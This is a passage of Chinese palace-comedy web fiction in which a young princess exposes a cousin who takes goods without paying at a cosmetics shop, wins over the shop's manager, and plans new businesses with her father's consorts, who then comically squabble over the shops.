什么叫喜欢的人很多? 为什么这句话每个字她都认识,合在一起她就听不懂了呢? 唐蕊回头看了容嬷嬷一眼。 容嬷嬷懂了,立刻退下,还带走了所有下人。 等屋里就剩唐蕊和秦芷嫣两个人的时候,唐蕊才实话实说:“母妃,我娘是南蛮皇室之人,她以后也许会隐姓埋名,也许会复兴南蛮皇室,但她绝对不会嫁给爹爹,做爹爹后院里的女人之一的。至于生下我,或许她也只是觉得爹爹长得不错,想借个种为南蛮传宗接代,没有你想的那个意思哦。” 当然,若是司徒澈愿意嫁,那唐娆估计就收了。 可司徒澈这…怎么可能入一个女子后宫? 这不是扯淡么! 秦芷嫣惊呆了:“南蛮?皇室?” 那个传说中女子为皇的国家? 唐蕊点点头:“所以你真的不用担心,我娘的为人我还是知道的,她真不可能嫁给爹爹。” 秦芷嫣:“…” 信息量太大,一时间有点无法接受了。 唐蕊巴巴道:“母妃,我都没告诉我爹这个事哦,你不会出去乱说吧?” “不…不会…”秦芷嫣赶紧道。 她只是被吓到了,也从没想过,唐蕊母子来头这么大。 等等! 秦芷嫣第一时间反应过来,抓着唐蕊的肉胳膊都用力了几分:“那蕊蕊,你娘以后要是重建南蛮,你…会跟她走吗?” 不要啊! 这可是她的闺女! 她哒! 谁都不能抢走! 唐蕊笑眯眯道:“母妃,这个我也说不准哦,不过很大可能是不会的,我这人没什么志向,只想做条咸鱼哇!” 如果唐娆重建南蛮,那她就是皇太女,以后要做南蛮皇的。 那太累了! 不想努力,不想卷,只想躺平! “好,好…”秦芷嫣放心了一些,紧紧盯着唐蕊,生怕她变成蝴蝶飞走了似的:“蕊蕊,大夏其实很好的,南蛮那边虽然四季如春,人杰地灵…” 完了… 书上好像没说南蛮哪里不好。 不管是气候还是环境,都比大夏宜居。 还是俊男美女量产地… 唐蕊噗嗤一声乐了,抱着秦芷嫣的脖子:“母妃,我尽量不走,你别担心好不好?就算我走了,你也是我母妃啊,这一点不管过了多久,我在哪里,都不会改变的。再说啦,以后你和爹爹也会有自己的孩子…” “那不一样!”秦芷嫣泪眼汪汪打断她的话:“不管母妃有多少孩子,但都不是你啊!” 作为母亲,以后她肯定会疼爱自己的孩子。 但唐蕊也是她用心疼爱的孩子啊! 唐蕊有点小感动,声音也软了下来:“母妃最爱我乐,以后我也会对母妃好,谁都不能欺负母妃。” “母妃也是,你永远都是母妃的小宝贝,谁都不能欺负你…” 唐蕊的到来填补了她无儿无女的遗憾,让她知道做母亲是一件多么幸福的事。 更让她明白,看着孩子一天天长大,是一件多么有成就感的事。 秦芷嫣觉得,以后不管她会不会有自己的孩子,都无法取代唐蕊在她心里的地位了。 母女俩说了好一会儿悄悄话,秦芷嫣的情绪终于平复下来。 唐蕊就是不喜欢绕弯子,再说跟秦芷嫣也没必要。 她也挺喜欢这个妈妈的,跟她现代的母亲长得有点像。 看着秦芷嫣,就像是看到了现代的妈咪还活着一样。 只是老妈性子很强势。 相比之下,唐娆容貌不像,性子倒是更像一些。 母女谈过心,秦芷嫣又恢复了正常,也不人淡如菊了。 … 几日一晃而过,生活依旧继续。 日落西斜,疏散的阳光从枝叶的缝隙里透下。 国学监里,朗朗读书声,声声入耳。 放眼看去,大多小包子都在认真听课。 除了… 最后一排,唐蕊和司徒安! 一个趴着睡,脑袋往左偏。 另一个也趴着睡,脑袋往右偏。 随着周学士一声放学,唐蕊秒醒,如标杆一般站起身来。 周学士无奈的看了她一眼,又看了看还在熟睡的司徒安,摇摇头,抱着书本走了。 唐蕊就算了,不听也能说出个四五六来。 再说了,唐蕊是女子,以后总是要嫁人的,只会识字掌家便可。 但司徒安是男子啊,这样下去怎么得了哦? 不行,还是得去告个状。 上次告状,司徒安坚持了三天,再告一次,或许又能坚持三天呢! 司徒安还不知道,回宫后又要被削了,依旧睡得喷香。 以前顾楠聿还会好心的叫醒他,但现在的顾楠聿没功夫管他了。 赐婚风波过后,唐蕊老躲着他,就连去食堂都不跟他坐一桌了。 这不,看到唐蕊麻溜的收拾好课本带着妙珠离开,顾楠聿也赶紧追了上去。 片刻后,看着挡在面前的顾楠聿,唐蕊眼尾抽搐了一下,硬扯出一抹笑来:“顾楠聿,有事吗?” 顾楠聿抿了抿唇,看了妙珠一眼。 妙珠接收到他的眼神,懂事的往后退了几步,抬头看天,一副我没偷听的样子。 第73章 金光闪闪的金奶包 见她识趣,顾楠聿才看向唐蕊:“你为什么躲着我?” 唐蕊一脸无辜:“有吗?没有吧,我哪有躲着你。” “唐蕊!”顾楠聿神色正经起来,连名带姓叫她。 唐蕊突然有种面对教导主任的既视感,不由自主挺直了背脊站军姿:“有!” 顾楠聿还以为她被吓到了,顿了顿,不动声色移开视线,语气也缓和了几分:“你我还年幼,若是对这门亲事不满意,以后可以慢慢想办法,实在没有必要躲着我。对我而言,以后我俩就算做不成夫妻,也还是朋友,不是吗?” “当…当然是哇!”唐蕊听到这话是松了口气的。 走肾不走心,这是她的宗旨。 看来顾楠聿确实对她没有男女之情。 这很好! 不过话又说回来,会喜欢五岁小女娃的…是个变态吧? 顾楠聿虽然疯了点,但也没到变态的程度。 啧! 是她自己吓自己了。 唐蕊嘿嘿一笑,难得有些不好意思:“我这不是怕你尴尬吗?” 顾楠聿神色淡然:“没什么好尴尬的,我快十二了,母亲已经在给我相看人家,不是你也会是别人。若是你,我反倒自在一些。你应该知道,我对女子没有什么兴趣。” 唐蕊没好气道:“那是你不知道女子的好处。” “好处?”顾楠聿微拧着眉,有些没听懂:“什么好处?” “…”当然是闺房之乐,鱼水之欢呀! “以后你就知道了,你说的话我都记住了,以后不会躲着你,今天我还有事,先走了哦。” 唐蕊抬手想拍拍他的肩,但却发现顾楠聿被她高了不少,就算她踮起脚尖都拍不到,只能气鼓鼓的放下手嘀咕:“没事长那么高做什么。” 顾楠聿默默低头看了看自己,又看了看逐渐走远的奶团子。 整个人都:“…” 他都十二岁了,又不是穷苦百姓家的孩子,有一顿没一顿的,五尺身高很正常吧? 反观唐蕊…咳咳… 年纪太小,身高约莫三尺…好像还没到… 确实是矮了点! 这…不会长残了吧? 顾楠聿幻想了一下,长大后的唐蕊,只有三尺身高的模样,冷不丁打了个寒颤。 这样会影响下一代吧? 突然有点想悔婚了呢! … 国学监外,早有一辆马车停靠着了。 马车外面看不出什么,但那纯金打造的銮铃,却引得路人频频侧目。 若不是驾驶马车的两个车夫年轻力壮,凶神恶煞一看就不好惹,銮铃早就被人抢了。 这俩车夫不是别人,正是大格和二格。 而这马车,是李庶妃的。 今天是她和唐蕊约着逛街的日子,顺便去看看秦芷嫣给唐蕊的那家脂粉铺子。 容嬷嬷不时掀开车帘翘首以盼,唐蕊却一直都没出来,反倒是来往路人,不时朝她投来好奇或贪婪的视线。 “…”看不下去了。 容嬷嬷放下车帘,一言难尽的看着李庶妃。 虽然是个庶妃,但这货的日子过得比秦芷嫣那个正妃都好。 看看这马车里面,铺着的是金线编织菊花地毯,李庶妃喝茶的杯具都是白玉打造。 还有那垫在李庶妃身下的腰枕,眼瞅着平平无奇,但容嬷嬷是谁啊,一眼就看出,那是有钱都买不到系列之一,浮云锦啊! 反倒是挂在车外的纯金銮铃,成了最不值钱的东西。 倘若秦芷嫣是个度量小的,哪里容得下这么招摇的妾室。 看着正枕着软枕,懒懒把玩自己手指的李庶妃,容嬷嬷还是好心劝道:“李庶妃,你这马车…还是太招摇了,出门很不安全啊!” 早知道,她就用唐蕊的马车了。 “有什么不安全的?”李庶妃漫不经心斜睨了她一眼:“本庶妃每次出门,身边都跟着会些拳脚功夫的家丁,就算没有,一堆破烂而已,能值几个钱,谁又有那闲工夫来抢?” 容嬷嬷:“…” 这是太有钱了,对钱已经没概念了吗? 这么奢华的马车,是破烂? 有这闲工夫的多了去了好不好? 至少她就很想抢! 李庶妃轻啧一声,随手拉开一个暗格,看也没看,抓了一把银票塞给她:“说起来你也是王妃身边的老人了,要是没钱就跟本庶妃说,别学那些眼皮子浅的,拉低我们璃王府的档次。” “…” 容嬷嬷沉吟了几秒,默默把一叠银票塞进了自己怀里:“多谢李庶妃赏赐,老奴知道了。” 一千多两银票… 果然很李姬! 她只留一百两就好,其他的拿回去给郡主的小库房添砖加瓦! 这时,唐蕊终于出来了,在大格的帮助下爬上了马车。 抬眸一看,眼珠子瞪得老大:“李庶母,这是你的马车吗?好漂亮哇!” “你要是喜欢,回去后我修书一封,让我爹再找木匠打造辆一模一样的给你专用。”李庶妃脸上瞬间挂满笑容,又拉开了一个暗格,拿出早就准备好的点心摆在小几上:“饿了吧?先吃点东西,这些都是给你准备的。” “谢谢李庶母,我最爱你了。”唐蕊赶紧坐了过来,一边吃一边含糊道:“马车就算了叭,太贵了。” 李庶妃笑了笑,轻轻擦掉她嘴角的碎屑,眼底满是宠溺:“这才几个钱!委屈谁都不能委屈了咱们家蕊蕊呀!” 唐蕊也乐得卖乖:“李庶母这么疼我,谁敢给我委屈受哦,他们都怕李庶母拿银子砸死他们呢!” “呵呵呵…” 李庶妃被她一句话逗得直乐呵,同时也记住了这句话。 马车缓缓启动,朝着最热闹的集市驶去。 唐蕊知道李庶妃财大气粗,狂得没边了。 但每次跟李庶妃相处,都能刷新她的下限。 她们先是去了成衣铺,只要是唐蕊瞧过又合适的衣服,李庶妃都让掌柜全都包起来。 料子不好的,就让掌柜的用最好的料子做,过几天她让人来取。 路过卖首饰的店铺,只要是唐蕊看了一眼的,全部买走。 不过一会儿,那么大的马车,硬是塞满了东西。 买得开心了,李庶妃还挤开容嬷嬷,亲自上手,给唐蕊梳好发包包,带上新买的珠花。 本来唐蕊只是个可爱的小奶包,被她一打扮,成了金光闪闪的金奶包。 第74章 怎么哪里都能遇到你,真是晦气 穿的是金黄色的蜀锦烟罗裙,两个发包包都戴着纯金镶宝石的珠花,脚上穿的是鹅黄莲花锦绣双色芙蓉鞋,腰间还挂着金线绣的如意荷包。 唐蕊一照铜镜,都差点被里面的小人给闪瞎了狗眼。 都说霸总好,霸总的好说到底还不是钞能力强大。 她李庶母这钞能力,比起霸总差得了多少? 毫不夸张的说,加上这些衣服,她的衣服能穿半年都不重样了。 最后的最后,马车在名为漱玉楼的脂粉铺前停了下来。 唐蕊被李庶妃牵着,刚进去,就看到了熟人。 只见司徒嫱正拿着一盒胭脂,眼神挑剔。 掌柜的弓着腰站在她身边,笑容很是谄媚:“小郡主,这可是新来的货,出自南蛮一种名为刺客的花,花汁调制而成的,您闻闻这味道,是不是很香?用了这个,连香粉您都可以舍了。” 司徒嫱懒懒的瞥了他一眼,眼底满是高傲:“狗奴才,竟敢拿亡国之物给本郡主用?好大的胆子。” 掌柜吓得扑通一声跪下了,额头冷汗直冒:“哎哟,郡主,小的可没这个意思啊!这名为刺客的花,香型浓郁,一朵都是百两银子,小的是觉得很珍贵,这才拿给郡主您用的呀!小的是觉得,那些便宜货,配不上郡主您的身份啊!” “哼!算你会说话!”司徒嫱合上胭脂盒,漫不经心道:“这种胭脂本郡主都要了,给本郡主包起来。” “是是是,小的这就包,郡主的眼光真是太好了。”掌柜的狠狠的松了一口气,赶紧起身打包。 这就算了,可唐蕊瞧得真真,司徒嫱接过来就走,压根就没付钱。 掌柜的也没找她要钱! 哈? 这是干啥? 唐蕊坐不住了,松开李庶妃,当即拦住了司徒嫱的去路,双手叉腰开启嘲讽模式:“哎哟哟,这位郡主,怎么买东西不给银子哦?你一个郡主,当街明抢么?” “唐蕊!是你!”司徒嫱看到唐蕊,一张脸瞬间涨红了。 她顾不得冒充郡主被抓包的尴尬,恶狠狠的瞪着她:“怎么哪里都能遇到你,真是晦气!” 掌柜也很有眼色道:“哪里来的小娃娃?郡主可是我们铺子的东家,她在自家拿东西哪里还需要给银子?” 司徒嫱闻言也挺直了背脊,讥讽道:“唐蕊,听到没?听到了就赶紧滚。” 随着她话音落下,小二立刻跑了过来,朝唐蕊做出一个请的手势:“客官,这里不欢迎你们,请你们出去。” 李庶妃沉下脸来,往前一步把唐蕊往身后一护。 容嬷嬷也拿出铺子地契,适时开口:“大胆!睁大你们的狗眼看看她是谁,她可是昭华郡主,这间铺子真正的东家!” 小二傻了,茫然的看向自家掌柜。 掌柜看了看地契,怀疑自己看错了,又揉了揉眼睛,继续看,一张脸渐渐失去血色,腿一软扑通一声跪下了:“郡、郡主,小的有眼不识泰山,您可千万别跟小的一般见识啊!” 他不是不知道这间铺子换东家了,但…司徒嫱的胭脂水粉大多都是从他这拿,还都没给过钱。 司徒嫱又是那么个身份,他…他也不敢要啊! 唐蕊淡淡的瞥了他一眼:“平时司徒嫱在这里白拿了多少东西?你告诉我,我可以考虑不要你的命。不然…贪墨主家财物,本郡主只有把你送顺天府了。” “…”还要命的? “小的,小的有记录,这就去拿,这就去拿…” 掌柜的额头冷汗直冒,赶紧回到柜台里拿了个账本,恭恭敬敬递到唐蕊手中。 唐蕊接过账本翻看起来。 司徒嫱觉得有些没脸,越过她就走:“我还赶着回宫,懒得和你废话。” 唐蕊都没开口,门口的大格和二格就拦住了她。 司徒嫱咬咬牙,停下脚步转身怒视着唐蕊:“你要怎么样?去皇爷爷面前告我冒充郡主吗?唐蕊你恶不恶心?除了告状还会做什么?” 唐蕊都没跟她吵架的欲望,翻看着账本,自顾自道:“你在这间铺子一共拿了一千三百六十七两的东西,给你两个选择,要么给钱,要么本郡主送你去顺天府,你自己选。” 司徒嫱惊呆了:“你敢送我去顺天府?你是不是疯了?” 唐蕊淡淡的瞥了她一眼,极具鄙视与不屑:“一个冒充郡主骗东西的穷B,本郡主为什么不敢送你去顺天府?就算你爹来了,买东西也要给银子,你又算什么东西?年纪不大,不要脸的事倒是一出接一出的,我看你爹也没这么不要脸呢,也不知道你这些臭毛病是随了谁。” 说到这里,唐蕊摸着下巴打量着她,气死人不偿命道:“我说,你不会是血统不纯的串吧?看来有必要让皇爷爷给你也来一次滴血验亲了,不然你这德行,怎么看都不像姓司徒的人呀!” 司徒薇气得浑身发抖,颤抖的指着唐蕊:“你…你…你别欺人太甚!” 串是什么意思,她没听懂,但血统不纯这四个字听懂了。 司徒嫱怒吼道:“我跟你不一样,我的血统纯正的很,你在污蔑我。” “哦。随便你怎么想吧!”谁特么管你是不是纯种的狗! 唐蕊小手一伸:“一共一千三百六十七两银子,请问你是给银子还是给银票?” 司徒嫱噎了一下,狠狠的收回手,磨牙道:“我没带那么多银子。” 唐蕊夸张的哇喔一声,音量分贝瞬间加大:“没银子还敢说‘都给我包起来’这种话?你没事儿吧?” 外面路过的人纷纷停下脚步,伸长脖子往里瞅。 司徒嫱一张脸爆红,不甘的放下手里的胭脂,咬牙切齿低声道:“唐蕊,闹大了都不好看,大不了我回去拿给你就是了。” “行!”就等你这句话呢! 想贪她的东西,没门,窗户也没有。 “嬷嬷,你跟她进宫一趟,务必拿到这位…” 唐蕊顿了顿,对着司徒嫱比划了几下,终于找到一个合适的词:“务必拿到这伪郡主多年来欠下的银子。” 第75章 色目人 “郡主放心,老奴一定拿回来!”容嬷嬷一脸正色,还朝司徒嫱做了个请的手势。 司徒嫱阴毒的看了她一眼,转身离开了。 她离开后,门外那些路人也散了。 李庶妃默默朝唐蕊竖起大拇指:“蕊蕊,霸气!” 她还想护犊子呢,唐蕊完全不给她表现的机会啊! “也是李庶母你在,我这个小孩子才有底气哇!”唐蕊一秒回复了天真无邪的表情,摸着后脑勺有些不好意思,跟刚刚脸色严肃的她判若两人。 李庶母点了点她的小脑瓜:“你这丫头,有时候真怀疑你的岁数,看起来都不像个小孩。” “我是货真价实的五岁小可爱好不好,都是庶母你们教得好,名师出高徒哇…”别怀疑,我们还是好母女ok? 唐蕊傻乎乎的笑了笑,看向了掌柜和小二。 掌柜和小二浑身一个激灵,瞬间站直了。 唐蕊也简单粗暴:“账本拿来!” “是、是…”掌柜的赶紧取来账本,恭恭敬敬递给她。 唐蕊本以为,这掌柜的是个贪墨背主的。 可没想到,他这账倒是干干净净,没有贪墨一点东西。 唐蕊看完后合上账本放在一边,定定的看着掌柜的,看得他浑身发毛。 掌柜的都快哭了:“郡主,您这…还有指教吗?只要您吩咐了,小的一定照做。” 唐蕊点了点账本,面无表情道:“假账?” “小的冤枉啊!”掌柜一听,赶紧跪下了,一把鼻涕一把泪:“小的可不敢啊,刚刚您赶走的那位…哎哟…小的都不敢得罪她,每次她拿走的东西,都是小的用自己的钱填上的。可小的确实没什么钱,您不信往后面翻,还欠的一千零五十九两银子,小的都写在那的。” 唐蕊狐疑的看了他一眼,重新拿起账本翻到最后。 还真有! 每天都还了几两,记得清清楚楚的。 掌柜的还在哭:“小的只是老百姓,那位可是天家人啊!这些年,为了还清这些银子,小的家中一贫如洗,连媳妇都跑了,家里都穷得快揭不开锅了,可是呜呜呜~可是那位,越来越过分,小的每个月的月给,是真的不够还啊呜呜呜~” 店小二心下不忍,也撞着胆子道:“郡主明鉴,掌柜的刚刚让小的赶您走,也是在保护您啊!这些年来那位在店里也有跟别的客官发生矛盾的时候,每次得罪她的人,都会被她教训。曾经还有个姑娘家,就因为跟那位同时看中了一盒香粉,人家姑娘不想让,那位就让人把那姑娘的外衣扒了,扔了出去…掌柜的见您小小年纪,怕您也遭了毒手啊!” 唐蕊:“…” 她以为是店大欺主。 没想到是身不由己? 不过想想也是,太子的女儿,一个小掌柜哪里敢得罪? 更别说这店铺以前还在秦芷媃手里,四舍五入本就是东宫的产业,是司徒嫱自家的东西。 掌柜的又哪里有那个胆子敢贪墨东宫的钱财? 在司徒嫱看来,估计她欺负掌柜的,都是给掌柜的脸了。 古代至高无上的皇权啊… 唉… 唐蕊脸色缓和下来:“你俩先起来吧!” “多谢郡主,多谢郡主!”小二扶着掌柜的站起身来。 唐蕊又问道:“掌柜贵姓?” 掌柜的诚惶诚恐:“不敢不敢,小的免贵姓邓。” “好,邓掌柜!”唐蕊开口说道:“本郡主不会冤枉任何一个好人哦,待本郡主查明,你所言非虚后,那些银子你不用继续还了,至于你之前还过的银子,本郡主也会补给你。日后,你还是漱玉阁的掌柜,只要你恪守本心,好好替本郡主办事,本郡主不会亏待你的哈。” “谢谢…谢谢郡主,谢谢郡主啊…”邓掌柜闻言眼圈都红了,背过身去偷偷擦拭眼泪。 都是皇帝儿子们的女儿,差别怎么就这么大呢? 怪不得眼前这位能做郡主呢,看来万岁爷心里也跟明镜似的。 “好了好了,掌柜的你别哭了,快把店里的好东西都拿出来。放心,本庶妃会给银子的。”李庶妃早就忍不住了,摇着扇子欢快道。 “是,是,贵人,小的这就去拿!” 邓掌柜去了一桩心事,走路都带风,气色肉眼可见的好了。 唐蕊也给大格使了个眼色。 大格秒懂,去查邓掌柜所言是真是假了。 没一会儿,小二把唐蕊和李庶妃请到了厢房,并拿出很多好东西给他俩看。 其中就有司徒嫱想拿走的刺客花花汁胭脂。 唐蕊闻了一下,心下了然。 什么刺客花,这不就是玫瑰的香味嘛! 不过说起来,在龙国历史中,古人也称玫瑰花为刺客,谁让这花长刺呢! 唐蕊拿起那盒‘刺客’胭脂:“邓掌柜,你说这花出自南蛮?” 邓掌柜点点头:“南蛮临海,四季如春,风景优美。未灭国时,听说南蛮女皇常派人出海寻访大陆,与那些色目人做买卖,因此南蛮当初商贸很发达。可惜啊…” 说到这,邓掌柜叹息一声,继续道:“南蛮只注重商业,无视农业与畜牧业,又或许到底是女子,军队也不够强盛,不然也不会被北狄所灭。” 色目人? 那不就是歪果仁嘛! 没想到这个世界也有歪果仁! 唐蕊闻言来了兴趣:“邓掌柜怎么知道这些哦?” 连她这半个南蛮人都不知道! 邓掌柜呵呵一笑:“小的年轻的时候,曾是走家串巷的货郎,老家在大夏与南蛮交界处,所以才得知这些。当初啊…南蛮的航海非常发达,小的也有幸跟着家父出过一次海,亲眼见过色目人。郡主您都不知道,那些人长得特别奇怪,头发有黄的,有白的,还有红的,眼睛也有各种各样的颜色,还有很多奇奇怪怪的植物,说是能吃的。可惜,南蛮不重视农业,他们提供的种子都没人要。” 李庶妃听得啧啧称奇:“头发和眼睛五颜六色?世上还有这样的人啊?” 邓掌柜笑着点头:“是啊,不仅如此,那些色目人,不论男女,长得也比咱们高大,还有自己的语言。” 第76章 合作开店铺? “真想见见,也不知道他们有什么好物件。” 李庶妃的买属性又发作了。 唐蕊却从这里听到了另外的商机,灵机一动:“掌柜的,你可认识航海之人?” 邓掌柜想了想,这才道:“认识倒是认识,郡主这是…” “拿纸笔来!”唐蕊顿时来劲了。 等小二把纸笔奉上后,唐蕊立刻画了玉米红薯与土豆等植物的果实,以及植物根茎,然后又递给邓掌柜:“邓掌柜,你能否让那人出海时,帮本郡主看看有没有这些食物。” 邓掌柜接过来一看…嗯…有些眼熟,好像以前见过:“郡主,你要这些植物作甚?” 唐蕊道:“本郡主要买这些植物种子,有多少要多少,若是没有种子,果实也可以哦!” “郡主放心,小的这就书信一封联系老友,让他帮郡主留意!”甭管有没有,郡主需要就得尽全力去找。 再说了,这位小郡主看着也不像是无理取闹之人,要是实在找不着,想来她也不会因此怪罪吧! “好!”唐蕊满意了:“若是找到,本郡主以后名下所有店铺,都由你统一管理!” “统一?管理?”这是什么意思? 邓掌柜愣住了,有些没听懂。 唐蕊解释了一下:“就是说哦,每个店铺的掌柜,通通由你管,你可以管这个职位叫总经理!当然,多管一个店铺,你的月给也会涨…一两吧!若是大店铺,还会多一两,等以后我铺子多了,咱们可以坐下来慢慢谈!” 一两? 还要谈? 邓掌柜神色一喜,再次给唐蕊跪下了,这次是感激:“多谢郡主,多谢郡主啊!小的发誓,以后一定会好好干,永生永世都不背主!” 那些农户,一年的开支也只有四五两银子,这还是条件好的。 他这多管一个店铺就能多一两银子,这什么总经理的职位真是太香了。 这一刻邓掌柜彻底对唐蕊死心塌地。 所以咯! 有钱能使鬼推磨! 当老板的可以扣,千万别扣牛马的工资! 要多多给钱,让牛马把公司当家,对你死心塌给你卖命! 自此,唐蕊的心腹又多了一个! 临走时她还特意问了邓掌柜名字才得知,邓掌柜全名邓忠孝! 回去的路上,唐蕊正想着回去后调制一些化妆品扔店里呢! 李姬这时却好奇的问唐蕊:“蕊蕊,你想要很多店铺?” “…”李财神这是又要给我送钱了吗? 唐蕊轻咳一声,亲亲热热挽着她的胳膊,又恢复了甜腻腻的小奶音:“李庶母,我其实有很多很多赚钱的点子哦。” 李庶妃掩唇一笑,点了点她的小脑瓜子:“有什么赚钱的点子,说来听听,要是可以,庶母给你银子和铺子。” “哎呀,也不能白给哦,可以算投资嘛!要是铺子赚了钱,我跟庶母三七分,你七,我三。” “那太少了,五五!” 李庶妃本想一分都不要的,但想到前些日子,老爹写来的信中,说她是败家娘们,就有点不服气。 李家那么多银子,她败一点又怎么了? 反正家里又没男娃,那些庶妹这辈子都不可能比她嫁得更高了,银子不给她给谁啊? 唐蕊觉得五五太过分了,还想再理论一下。 结果李庶妃素手一挥,霸气侧漏:“别说了,你是不是看不起我啊?” “没有哦…”唐蕊只能闭嘴了:“那就五五,反正李庶母你不会亏的啦。我们可以开的店铺太多啦,比如吃的,火锅、奶茶、甜点…穿的也行…还有美妆…” 她可以把中西元素结合一下,做些衣服,肯定受欢迎。 妆容也是,这个时代的衣服类似唐朝,但是妆容却没有唐朝那么复杂多变华美。 还有酒楼,这个时代的食物大多都是炖菜,我种花家可是有八大菜系呢! 得让这些古人长长见识不是? 两人‘狼狈为奸’,一路嘀嘀咕咕回到了王府,初步定下了几个店铺。 火锅店,马上要入秋了,装修好店铺正式营业刚刚赶得上冬天。 点心铺,唐蕊的点心铺不卖别的,就卖蛋挞以及双皮奶这种简单的点心。 戏院茶社,别的茶也出售,但主售奶茶,外加各种好喝的果汁。唐蕊还会不定时安排一些这个时代没有的戏,找些专业的戏子演给客人看。没空安排,就找个说书先生扔那。 美妆店,李庶妃负责找个管事的,唐蕊出技术,教她各种妆容。 李姬干劲十足,扇子摇得越发欢快了。 一到王府就迫不及待回去翻自己的店铺地契,看看那些个铺子合适做这些生意的。 这一次,她要让老爹刮目相看! 她的贴身侍婢福宝却没那么乐观,无奈的看着翻箱倒柜找出几家铺子地契筛选的李庶妃,眼皮狂跳:“庶妃,小郡主年纪还小,真听她的啊?” 这不是胡闹么! 这几家铺子地段都很好的,生意也不错啊! 就这么由着小郡主乱来? 李庶妃瞥了她一眼:“蠢就闭嘴,别耽误本庶妃赚银子!” 福宝噎了一下,还是硬着头皮继续抢救:“可是庶妃,这些铺子,都是老夫人给你的啊!” “不是我祖母给的,还配不上蕊蕊呢!”李庶妃挥苍蝇似的挥了挥手:“本庶妃饿了,去膳房拿些吃的,别在这招人烦!” “…”您这是走火入魔了吧? 福宝一脸要哭不哭的滚了。 这时正值饭点,去膳房的路上,福宝好巧不巧的遇到了秦芷嫣身边的徐嬷嬷,柳若雪身边的霜蓉,以及朱侧妃身边的云吞,还有张庶妃身边的红霞。 因为几个女主子关系都不错,她们这些个嬷嬷和贴身侍婢也有样学样,关系也挺好。 云吞提着一个食盒正要离开,看到福宝一脸郁闷的进来了,于是好奇的凑了过来:“你咋了?脸色看起来怎么不好?” “还不是小郡主…”福宝委屈巴巴,把李庶妃和唐蕊要合作开店铺的事告诉了她。 她没发现,自己跟云吞吐槽的时候,徐嬷嬷和另外几个贴身侍婢也默默竖起了耳朵,脸上神色各异。 第77章 这么大了还尿床?哈哈哈哈… 徐嬷嬷想的是:小郡主不是跟王妃最亲吗?怎么开店铺这种事,不找王妃,去找李庶妃了?不行,得赶紧告诉王妃。 霜蓉神色淡淡,奴随其主:听到了!侧妃最近越来越在乎小郡主了,总之…事无巨细,得汇报给侧妃。 红霞眼珠子咕咕转:自家主子喜欢听…哦对了,小郡主管这叫吃瓜,不知道这个瓜,主子会不会喜欢,回去说给她听。 于是… 等徐嬷嬷和几个替身侍婢回去汇报后… “开店铺?为什么不找本妃?”秦芷嫣蹭的一下站起身来,有了双倍嫁妆的她底气十足,昂首挺胸:“走,咱们去李庶妃那坐坐。” 徐嬷嬷不明所以:“王妃,这种事为什么去找李庶妃啊?找小郡主不行么?” “这种事当然是去为难李庶妃,为什么要去为难蕊蕊?”秦芷嫣理直气壮,丝毫没觉得自己的观点有什么问题:“得让李庶妃让一个店铺名额出来!本妃看成衣店就很好,也能知道蕊蕊喜欢什么样式的衣服。” … “成衣店?不!”顾若雪摇摇头,慢条斯理把修剪好的百合插入瓷瓶里,神色依旧淡漠:“那种店铺不符合我的身份,戏剧茶社较为风雅,就很适合我。” 霜蓉小心翼翼道:“李庶妃会让吗?” “我是侧妃,她是庶妃,不让也得让!” 顾若雪满意的看了看自己亲手修剪的百合,素袖轻扬,转身往外走去:“咱们去李庶妃那坐坐!” … “主子,要不用了膳再去?”朱侧妃这,云吞好心建议道。 “我哪儿还有心情吃!” 唐蕊居然不带她玩,不是说过最爱的就是她这个朱庶母么? “走走走,去李庶妃那坐坐,火锅店必须的名额必须要来,一听就很好吃!” 朱侧妃提着裙摆风风火火的跑了,远远看去就像是一个滚动的球儿! … “点心铺挺好,刚好蕊蕊喜欢吃,她愿意拿来做生意的点心,定是她最爱吃的。” 张庶妃放下心爱的长剑,整理了一下裙摆,单手背负在身后:“走,去李庶妃那坐坐!” 红霞无语:“您要去凑热闹?李庶妃又不缺钱,不会让吧!” “若是她不知好歹,本庶妃也略懂拳脚!”张庶妃捏了捏自己的手腕。 红霞:“…”主子这看着不像是去商量的,倒像是去以武服人的! … 一刻钟后。 司徒澈所有女人齐聚李庶妃的院中。 毕竟是古代女子,说话都是习惯性的拐弯抹角。 李庶妃一开始还真不知道她们的来意。 直到一个个的都拐着弯的问她缺不缺钱,自己又有啥啥啥店铺,在哪个地段时,她总算反应过来了。 好哇!这些女人是来跟我抢蕊蕊的? 李庶妃人脸一收,鬼脸一放:“姐姐们还是从哪儿来的回哪儿去吧!我不缺钱,也不需要你们帮助。” “本妃觉得你需要!”秦芷嫣微微一笑,说到‘本妃’两个字的时候,还加重了语气。 很明显,是打算用身份压人了。 “本侧妃也觉得你需要!”顾若雪有样学样,哪怕说着不要脸的话,也一如既往气定神闲。 朱侧妃一听,昂首挺胸,也接了过来:“本侧妃也这么觉得。” “你…你们…”李庶妃颤抖的指着她们,被气得一句话都说不出来。 好好好,姐妹情都是假的,现在都开始跟她强调身份了是吧? …她惹不起,还躲不起吗? 李庶妃恨恨的放下手,斜睨了张庶妃一眼,皮笑肉不笑道:“张姐姐,你我同为庶妃,总不能拿身份压我吧?” 分出去三个就三个,她还能占两个,不亏! 然而… 张庶妃看了她一眼,又看了看事不关己高高挂起的秦芷嫣三人,很是赞同的点了点头:“我不能!” 李庶妃唇角一翘,还不待她开始笑,张庶妃又说了一句:“可我能用秘密换,有人嫁入王府还尿…” “你给我闭嘴!”李庶妃脸色骤变怪叫一声,心爱的扇子都被她拍在了桌上,玉制的柄都啪嗒一声断成了两半。 张庶妃适时收声,很是认真道:“现在,我能分个店铺了吗?” “能!自然能!”李庶妃扯了扯唇角,凶巴巴的瞪着她,这话就像是从牙缝中挤出来的一样。 “能就好!”张庶妃成功达到目的。 虽然她那句话没有说完,但在场的女人有几个是蠢的? 她们或震惊、或不可置信的看着李庶妃。 反应过来后… “哈哈哈哈…” 朱侧妃是笑得最猖狂的一个,边笑还边拍桌:“李云霜你是要笑死我,好继承我的侧妃之位吗?这么大了还尿床?哈哈哈哈…” 秦芷嫣拿起帕子掩饰住嘴角,拼命强忍着笑,忍得无比辛苦。 就连顾若雪都自顾自的背过身去,看向了窗外,但…仔细看去,就能发现她微微抖动的肩膀。 很明显,她在偷笑! 张庶妃这个罪魁祸首倒是没有笑,但她却摆出一副无辜的表情,好像刚刚揭老底的不是她一样。 李庶妃又羞又气,干脆破罐破摔了:“这有什么?我十四岁就嫁进来了,十二岁的孩子都会尿床,十四岁的孩子就不会尿床了吗?有什么好笑的?” 不解释还好,越解释大家越是忍不住。 “你们…哇…你们欺负我,我要去告诉王爷!”李庶妃一个没忍住,哭着跑了出去。 